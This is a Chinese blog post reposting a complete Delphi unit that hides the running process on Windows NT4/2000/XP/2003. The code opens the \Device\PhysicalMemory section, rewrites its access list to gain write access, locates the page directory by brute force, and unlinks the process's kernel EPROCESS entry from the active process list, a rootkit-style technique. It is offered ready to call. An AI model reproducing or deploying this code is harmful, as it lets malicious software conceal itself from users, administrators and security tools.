注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

BCB-DG's Blog

...

 
 
 

日志

 
 

Win2k隐藏进程  

2008-01-08 09:01:49|  分类: Delphi |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

//作者:木鱼

http://hi.baidu.com/hnxyy/blog/item/0ccca84b2dae6af083025c29.html

直接调用HideProcess过程即可

//WIN2000下直接隐藏进程

unit HideProcess;

interface

uses

Windows, aclapi, Accctrl;

function HideProcess: Bool;

implementation

const

STATUS_INFO_LENGTH_MISMATCH = $C0000004;

STATUS_ACCESS_DENIED = $C0000022;

type

ULONG = DWORD;

PULONG = ^ULONG;

USHORT = Word;

// PWSTR = PWideChar;

NTSTATUS = ULONG;

ACCESS_MASK = ULONG;

function AllocMem(Size: Cardinal): Pointer;

begin

GetMem(Result, Size);

FillChar(Result^, Size, 0);

end;

procedure MsgBox(Ti:String);

begin

MessageBox(0,Pchar(Ti),'提示',0);

end;

function NT_SUCCESS(status: integer): Bool;

begin

Result := status >= 0;

end;

type

_SYSTEM_INFORMATION_CLASS =

   (

   SystemHandleInformation = 16

   );

SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS;

type

_SYSTEM_HANDLE_INFORMATION = record

   ProcessId: ULONG;

   ObjectTypeNumber: UCHAR;

   Flags: UCHAR;

   Handle: USHORT;

   _Object: pointer;

   GrantedAccess: ACCESS_MASK;

end;

SYSTEM_HANDLE_INFORMATION = _SYSTEM_HANDLE_INFORMATION;

PSYSTEM_HANDLE_INFORMATION = ^_SYSTEM_HANDLE_INFORMATION;

TRTLNTSTATUSTODOSERROR = function(Status: NTSTATUS): ULONG; stdcall;

TZWQUERYSYSTEMINFORMATION = function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation:

Pointer; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;

var

RtlNtStatusToDosError: TRTLNTSTATUSTODOSERROR = nil;

ZwQuerySystemInformation: TZWQUERYSYSTEMINFORMATION = nil;

function GetEprocessFromPid(PID: ULONG): DWORD;

var

status: NTSTATUS;

buf: Pointer;

size: ULONG;

NumOfHandle: ULONG;

i: ULONG;

h_info: PSYSTEM_HANDLE_INFORMATION;

begin

Result := 0;

size := 1;

repeat

   Buf := AllocMem(size);

   if buf = nil then

   begin

     //MsgBox('GetMemory Error!');

     Exit;

   end;

   status := ZwQuerySystemInformation(SystemHandleInformation, buf, size, nil);

   //Form1.Memo1.Lines.Add(Format('$%x',[size]));

   //Form1.Memo1.Lines.Add(Format('$%x',[status]));

   if not NT_SUCCESS(status) then

   begin

     if status = STATUS_INFO_LENGTH_MISMATCH then

     begin

     FreeMemory(Buf);

     Buf := nil;

     end

     else

     begin

     //MsgBox('ZwQuerySystemInformation failed');

     if buf <> nil then

     begin

       FreeMemory(Buf);

       Buf := nil;

     end;

     Exit;

     end;

   end

   else

     Break;

   size := size * 2;

until false;

NumOfHandle := PULONG(Buf)^;

//返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组

// MsgBox(inttohex(NumOfHandle,0));

h_info := PSYSTEM_HANDLE_INFORMATION(pchar(Buf) + 4);

for i := 0 to NumOfHandle - 1 do

begin

   if h_info^.ProcessId = PID then

     if h_info^.ObjectTypeNumber = 5 then

     begin

//      MsgBox(Format('Handle:%x,OBJECT:%x', [h_info^.Handle, dword(h_info^._Object)]));

     Result := DWORD(h_info^._Object);

     Exit;

     end;

   inc(h_info);

end;

end;

function LocateNtdllEntry(): Bool;

var

// ret: Bool;

NTDLLDLL: Pchar;

ntdll_dll: HMODULE;

begin

Result := False;

NTDLLDLL := 'ntdll.dll';

ntdll_dll := GetModuleHandle(NTDLLDLL);

if ntdll_dll = 0 then

begin

   //MsgBox('GetModuleHandle() failed!');

   Exit;

end;

try

   @ZwQuerySystemInformation := GetProcAddress(ntdll_dll, 'ZwQuerySystemInformation');

except

   //MsgBox('GetProcAddress() failed!');

   FreeModule(ntdll_dll);

   Exit;

end;

Result := True;

end;

//======================================================

type

TNtUnicodeString = packed record

   Length: Word;

   MaximumLength: Word;

   Buffer: PWideChar;

end;

PNtUnicodeString = ^TNtUnicodeString;

UNICODE_STRING = TNtUnicodeString;

PUNICODE_STRING = ^UNICODE_STRING;

type _OBJECT_ATTRIBUTES = record

   Length: ULONG;

   RootDirectory: THandle;

   ObjectName: PUNICODE_STRING;

   Attributes: ULONG;

   SecurityDescriptor: pointer;

   SecurityQualityOfService: pointer;

end;

OBJECT_ATTRIBUTES = _OBJECT_ATTRIBUTES;

POBJECT_ATTRIBUTES = ^_OBJECT_ATTRIBUTES;

TZwOpenSection = function(

   sectionHandle: PHANDLE;

   const DesiredAccess: ACCESS_MASK;

   const ObjectAttributes: POBJECT_ATTRIBUTES

   ): NTSTATUS; stdcall;

TRtlInitUnicodeString = procedure(DestinationString: PUNICODE_String;

   SourceString: PWideChar); stdcall;

var

RtlInitUnicodeString: TRtlInitUnicodeString;

ZwOpenSection: TZwOpenSection;

g_hNtDLL: HMODULE = 0;

g_pMapPhysicalMemory: Pointer = nil;

g_hMPM: THandle = 0;

function InitNTDLL(): BOOL;

begin

Result := False;

g_hNtDLL := LoadLibrary('ntdll.dll');

if g_hNtDLL = 0 then Exit;

RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');

ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

Result := True;

end;

procedure CloseNTDLL();

begin

if (g_hNtDLL <> 0) then FreeLibrary(g_hNtDLL);

end;

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);

var

{ pDaclACL;

pNewDaclACL;

pSDPSECURITY_DESCRIPTOR;

dwResWORD;

ea:EXPLICIT_ACCESS;

}

pDacl: PACL;

pNewDacl: PACL;

pSD: PPSECURITY_DESCRIPTOR;

dwRes: Cardinal;

ea: EXPLICIT_ACCESS_A;

begin

pDacl := nil;

pNewDacl := nil;

pSD := nil;

dwres := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil,

   nil, @pDacl, nil, pSD);

if dwRes <> ERROR_SUCCESS then

begin

   if pSD <> nil then LocalFree(Cardinal(pSD));

   if pNewDacl <> nil then LocalFree(Cardinal(pSD));

   Exit;

end;

FillChar(ea, SizeOf(EXPLICIT_ACCESS), 0);

ea.grfAccessPermissions := SECTION_MAP_WRITE;

ea.grfAccessMode := GRANT_ACCESS;

ea.grfInheritance := NO_INHERITANCE;

ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;

ea.Trustee.TrusteeType := TRUSTEE_IS_USER;

ea.Trustee.ptstrName := 'CURRENT_USER';

dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);

{ if dwRes<>ERROR_SUCCESS then

begin

   if pSD<>Nil then LocalFree(Cardinal(pSD));

   if pNewDacl<>Nil then LocalFree(Cardinal(pSD));

   Exit;

end;

}

dwRes := SetSecurityInfo(hSection,

   SE_KERNEL_OBJECT,

   DACL_SECURITY_INFORMATION,

   nil, nil, pNewDacl, nil);

if dwRes <> ERROR_SUCCESS then

begin

   if pSD <> nil then LocalFree(Cardinal(pSD));

   if pNewDacl <> nil then LocalFree(Cardinal(pSD));

   Exit;

end;

end;

function OpenPhysicalMemory: THandle;

var

status: NTSTATUS;

physmemString: UNICODE_STRING;

attributes: OBJECT_ATTRIBUTES;

BaseAddress:pointer;

start,CR3:ULONG;

begin

Result := 0;

RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');

attributes.Length := sizeof(OBJECT_ATTRIBUTES);

attributes.RootDirectory := 0;

attributes.ObjectName := @physmemString;

attributes.Attributes := 0;

attributes.SecurityDescriptor := nil;

attributes.SecurityQualityOfService := nil;

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

if (status = STATUS_ACCESS_DENIED) then

begin

   status := ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);

   SetPhyscialMemorySectionCanBeWrited(g_hMPM);

   CloseHandle(g_hMPM);

   status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

end;

if not (NT_SUCCESS(status)) then Exit;

(*

对于03年那篇断活动链的补充

   信箱里有一大堆邮件是问那时留的“习题”——XP移植问题,想不到现在还有问的。

本来就很简单,而能看懂代码的人做这件事是轻而易举的。但若代码都看不懂,我也不

想提供保姆式的服务。

   网上早有了一些实现,不过注意到大多是利用WebCrazy的代码原理进入ring0的,原

先那篇之所以没使用这个方法,因为我在自己机器使用了/3GB开关,WebCrazy的简单线性

地址转换不可行(不通用),故改用LinearToPhys函数。使用这个函数的关键是获知页目

录的一个可用值,这段代码我略去了(否则觉得像“保姆式服务”),而用了2000上多数

时候为页目录的0x30000这个值。现在把未贴的主要代码贴出来,希望不要再问这个问题

了,熟悉的大虾就不要看了。

   代码很简单,利用页目录的特性进行暴力搜索,内存中的页目录很多,找到第一个就

好。

ULONG CR3;

for (ULONG start=0x10000; start<0x100000; start+=0x1000)

{

   PULONG BaseAddress;

   BaseAddress = (PULONG)MapViewOfFile(hSection,

                     FILE_MAP_READ,

                     0,

                     start,

                     0x1000);

   if(!BaseAddress)

   {

     //error

     ... ...

   }

   if ((BaseAddress[0xc00/4]&0xFFFFFE00) == start)

   {

     CR3 = (ULONG)start;

     break;

   }

   UnmapViewOfFile(BaseAddress);

}

   这段代码就找出了页目录的一个可能值。

   所谓特性就是页目录的物理地址与其页内对应记录的地址是一致的,很容易看出这种

方法有可能失败:内存中在第一个页目录之前的某一页恰好有这个性质,会使得代码找错

对象,这时需要加上一些判断。不过我记得以前的使用中从来没碰到过,概率很小。

*)

CR3:=0;

start:=$30000;

repeat

BaseAddress:=MapViewOfFile(

   g_hMPM,

   FILE_MAP_READ,

   0,

   start,

   $1000);

if BaseAddress=nil then Break;

//PGDE=BaseAddress[VAddr];

// PGDE := PULONG(ULONG(BaseAddress) + (VAddr) * sizeof(ULONG))^;

if (PULONG(ULONG(BaseAddress) + ($c00 div 4) * sizeof(ULONG))^) and $FFFFFE00=start then

begin

CR3:=start;

//MsgBox(IntToStr(Cr3));

Break;

end;

start:=start+$10000;

until start>=$100000;

UnmapViewOfFile(BaseAddress);

g_pMapPhysicalMemory := MapViewOfFile(

   g_hMPM,

   4,

   0,

   start,//$30000,

   $1000);

if (g_pMapPhysicalMemory = nil) then Exit;

Result := g_hMPM;

end;

function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;

var

VAddr, PGDE, PTE, PAddr, tmp: ULONG;

begin

Result := nil;

VAddr := ULONG(addr);

if (VAddr >= $80000000) and (VAddr < $A0000000) then

begin

   PAddr := VAddr - $80000000;

   Result := @PAddr;

   Exit;

end;

//PGDE=BaseAddress[VAddr>>22];

PGDE := PULONG(ULONG(BaseAddress) + (VAddr shr 22) * sizeof(ULONG))^;

if ((PGDE and 1) <> 0) then

begin

   tmp := PGDE and $00000080;

   if (tmp <> 0) then

   begin

     PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);

   end

   else

   begin

     PGDE := ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));

//疑问 PTE:=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];

     PTE := PULONG(ULONG(PGDE) + ((VAddr and $003FF000) shr 12) * sizeof(ULONG))^;

     if ((PTE and 1) <> 0) then

     begin

     PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);

     UnmapViewOfFile(@PGDE);

     end

     else Exit;

   end;

end

else Exit;

Result := @PAddr;

end;

function GetData(addr: Pointer): ULONG;

var

phys: ULONG;

tmp: PULONG;

begin

Result := 0;

phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;

tmp := PULONG(MapViewOfFile(g_hMPM, 4, 0, phys and $FFFFF000, $1000));

if (tmp = nil) then Exit;

//Result:=tmp[(phys and $FFF) shr 2];

Result := plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^;

UnmapViewOfFile(tmp);

end;

function SetData(addr: Pointer; data: ULONG): Bool;

var

phys: ULONG;

tmp: PULONG;

begin

Result := False;

phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;

tmp := PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));

if (tmp = nil) then Exit;

//tmp[(phys & 0xFFF)>>2]=data;

plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^ := data;

UnmapViewOfFile(tmp);

Result := TRUE;

end;

function HideProcess: Bool;

var

f, b: integer;

osvi: TOSVersionInfo;

process: ULONG;

fw: ULONG;

bw: ULONG;

begin

Result := False;

if InitNTDLL then

begin

   if OpenPhysicalMemory = 0 then Exit;

   osvi.dwOSVersionInfoSize := sizeof(osvi);

   GetVersionEx(osvi);

   if (osvi.dwMajorVersion = 5) then

   begin

     if (osvi.dwMinorVersion = 0) then //win2k

     begin

     f := $A0; b := $A4;

     end

     else if (osvi.dwMinorVersion = 1) then //winxp

     begin

       f := $88; b := $8C;

     end

     else if (osvi.dwMinorVersion = 2) then //win2003

     begin

     f := $8A; b := $8E;

     end

     else Exit;

   end

   else if (osvi.dwMajorVersion = 4) and (osvi.dwMinorVersion = 0) and (osvi.dwPlatformId = 2) then //NT

   begin

     f := $98; b := $9C;

   end

   else Exit;

// ULONG thread=GetData((PVOID)0xFFDFF124);

// ULONG process=GetData((PVOID)(thread+0x22c));

   LocateNtdllEntry();

   //打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5

   OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());

   process := GetEprocessFromPid(GetCurrentProcessId());

   fw := GetData(pointer(process + f));

   bw := GetData(pointer(process + b));

   SetData(pointer(fw + 4), bw);

   SetData(pointer(bw), fw);

   UnmapViewOfFile(g_pMapPhysicalMemory);

   CloseHandle(g_hMPM);

   CloseNTDLL();

end;

Result := True;

end;

end.

  评论这张
 
阅读(994)| 评论(2)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017